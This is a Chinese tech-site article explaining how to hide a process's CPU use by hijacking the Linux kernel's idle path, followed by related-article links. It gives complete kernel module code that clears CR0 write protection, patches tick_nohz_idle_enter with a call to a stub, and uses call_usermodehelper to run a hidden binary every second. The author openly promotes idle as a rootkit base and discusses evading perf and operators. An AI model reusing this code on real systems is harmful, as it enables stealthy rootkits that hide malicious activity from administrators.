0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

如何利用CPU隐藏一个进程

lhl545545 来源:Linuxer 作者:Linuxer 2020-06-09 15:16 次阅读

前面谈过如何隐藏一个进程,我说过,隐藏procfs接口那无异于掩耳盗铃,正确的做法应该是将task_struct从任何链表中摘除,仅仅保留于run queue。

CPU利用率会暴露你隐藏的进程…

于是hook掉CPU记账接口…

但是…于是…

害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…

左右手互搏…目前防御手稍微占优势。

其实,还有一个好办法,即劫持idle,这样我们甚至可以不用管CPU记账程序, idle多当然好啊,运维们不正期望idle多吗?idle多没人会去perf的吧…

测试代码如下:

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;

void test_stub1(void){ unsigned long i;

local_bh_disable(); // 防止期间时钟中断记账到sys或者si。 local_irq_disable(); // 开始我们的计算任务。 for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();

}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

需要注意的是,计算任务不能睡眠,不能schedule,不能太太太繁重,以免被perf发现。其实,如果机器在机房,电源风扇的轰鸣是可以掩盖CPU风扇的,不过液冷的话就要另想办法了。

我们看下效果吧。我用虚拟机测试,下面左边是宿主机,右边是虚拟机,没有劫持idle时的CPU利用率如下:

如何利用CPU隐藏一个进程

下面是劫持后的:

如何利用CPU隐藏一个进程

虽然右边虚拟机的CPU依然几乎全部都是idle,和未劫持时没有差别,然而宿主机的能耗骗不了人。笔记本的风扇噪声在加大,以至于我不得不用Macs Fan Control将风扇转速调低,然而铝壳正在变得发烫。

哪个是真的,哪个是假的,假亦真时真亦假…

我倒是觉得,idle作为Rootkit的根据地还是非常不错,如果你想执行一些 真正的任务 ,那就call usermodehelper呗,只要确保这个helper完成任务及时退出就行。

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;static unsigned long last = 0;

void test_stub1(void){ unsigned long i;#if 0 local_bh_disable(); local_irq_disable(); for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();#endif //if (jiffies % 1000 == 0 && last != jiffies) { if (jiffies - last 》= 1000) { // /root/run 程序一定不要太犹豫,做完就走。且该程序要以某种方式使readdir无法显示。 call_usermodehelper(“/root/run”, NULL, NULL, 0); last = jiffies; }}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

run的代码如下:

#include 《fcntl.h》int main(int argc, char **argv){ int fd = open(“/dev/pts/0”, O_RDWR); write(fd, “aaaaaaaaa

”, 10);}

效果就是在系统压力不大时,每隔大约1秒中在/dev/pts/0终端打印一串a。

如果run程序执行时间在作为human being的运维人员和经理的视角转瞬即逝的话,同时run又是一个隐藏文件的话,试问如何发现谁打出的a呢?

运维和经理打字敲回车以及他们的蛋白质眼睛无法分辨200ms以下的事件。
责任编辑:pj

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • cpu
    cpu
    +关注

    关注

    68

    文章

    10876

    浏览量

    212116
  • 接口
    +关注

    关注

    33

    文章

    8633

    浏览量

    151364
收藏 人收藏

    评论

    相关推荐

    深入解析Linux程序与进程

    什么是程序 组计算机能识别和执行的指令,用于指导计算机执行特定任务或解决特定问题。程序通常由代码、数据和资源文件组成,涉及语法、算法和数据结构。为二进制文件 什么是进程具有独
    的头像 发表于 12-18 11:01 103次阅读
    深入解析Linux程序与<b class='flag-5'>进程</b>

    Linux之CPU调度策略和CPU亲和性

    、调度策略 调度进程 单个 CPU次只能执行进程
    的头像 发表于 12-05 16:38 493次阅读
    Linux之<b class='flag-5'>CPU</b>调度策略和<b class='flag-5'>CPU</b>亲和性

    文搞懂Linux进程的睡眠和唤醒

    优先级、文件描述符(记录当前进程打开的文件)、主要进程标识的进程号和父进程号: 进程号(PID: Process Identity Num
    发表于 11-04 15:15

    深入探讨Linux的进程调度器

    Linux操作系统作为开源且广泛应用的操作系统,其内核设计包含了许多核心功能,而进程调度器(Scheduler)就是其中至关重要的模
    的头像 发表于 08-13 13:36 959次阅读
    深入探讨Linux的<b class='flag-5'>进程</b>调度器

    鸿蒙开发:【进程模型】

    应用中(同Bundle名称)的所有UIAbility、ServiceExtensionAbility和DataShareExtensionAbility均是运行在同一个独立进程(主进程
    的头像 发表于 06-13 09:53 298次阅读
    鸿蒙开发:【<b class='flag-5'>进程</b>模型】

    句话让你理解线程和进程

    今天给大家分享下线程与进程,主要包含以下几部分内容:句话说明线程和进程操作系统为什么需要进程为什么要引入线程
    的头像 发表于 06-04 08:04 1234次阅读
    <b class='flag-5'>一</b>句话让你理解线程和<b class='flag-5'>进程</b>

    CPU渲染和GPU渲染优劣分析

    使用计算机进行渲染时,有两种流行的系统:基于中央处理单元(CPU)或基于图形处理单元(GPU)。CPU渲染利用计算机的CPU来执行场景并将其渲染到接近完美。这也是执行渲染的更传统方式。
    的头像 发表于 05-23 08:27 627次阅读
    <b class='flag-5'>CPU</b>渲染和GPU渲染优劣分析

    恒讯科技全面解析:如何有效降低服务器CPU利用率?

    降低服务器CPU利用率是涉及监控、诊断和优化的全面过程。以下是些有效的方法: 1、监控CPU
    的头像 发表于 05-10 17:24 751次阅读

    利用激光技术揭示了量子材料隐藏的特性

    某些材料具有被隐藏起来的理想特性,就像用手电筒在黑暗中照明样,科学家可以用光来揭示这些特性。研究人员开发出种先进的光学技术,利用光来揭示量子材料 Ta2NiSe5 (TNS) 的
    的头像 发表于 03-21 06:35 336次阅读
    <b class='flag-5'>利用</b>激光技术揭示了量子材料<b class='flag-5'>隐藏</b>的特性

    进程内多次使用open打开同一个文件,可以吗?

    进程内多次使用 open 打开同一个文件时,每次都会得到新的文件描述符(file de
    的头像 发表于 02-27 13:54 1313次阅读

    线程是什么的基本单位 进程与线程的本质区别

    线程是操作系统中处理器调度的基本单位,它代表着独立的执行流。在进程中,可以包含多个线程,这些线程共享相同的进程资源,如内存空间、文件描述符等。
    的头像 发表于 02-02 16:30 957次阅读

    32位4GB系统访问2GB数据,虚拟内存会发生什么?

    单核创建了多线程,CPU 会从进程快速切换至另一个进程,其间每个
    的头像 发表于 01-22 17:21 864次阅读
    32位4GB系统访问2GB数据,虚拟内存会发生什么?

    处理器和cpu东西吗 cpu和主板的区别

    处理器和CPU东西,CPU是指中央处理器(Central Processing Unit)的简称,是计算机的核心部件,负责执行各种计算任务。
    的头像 发表于 01-19 09:52 2w次阅读

    线程、进程、多线程、多进程和多任务之间有何关系?

    进程是程序执行时的实例,即它是程序已经执行到课中程度的数据结构的汇集。从内核的观点看,进程的目的就是担当分配系统资源(CPU时间、内存等
    的头像 发表于 01-11 13:39 370次阅读
    线程、<b class='flag-5'>进程</b>、多线程、多<b class='flag-5'>进程</b>和多任务之间有何关系?

    简单的Shiro RCE检测和利用脚本

    简单的Shiro RCE检测和利用脚本。
    的头像 发表于 01-09 09:46 663次阅读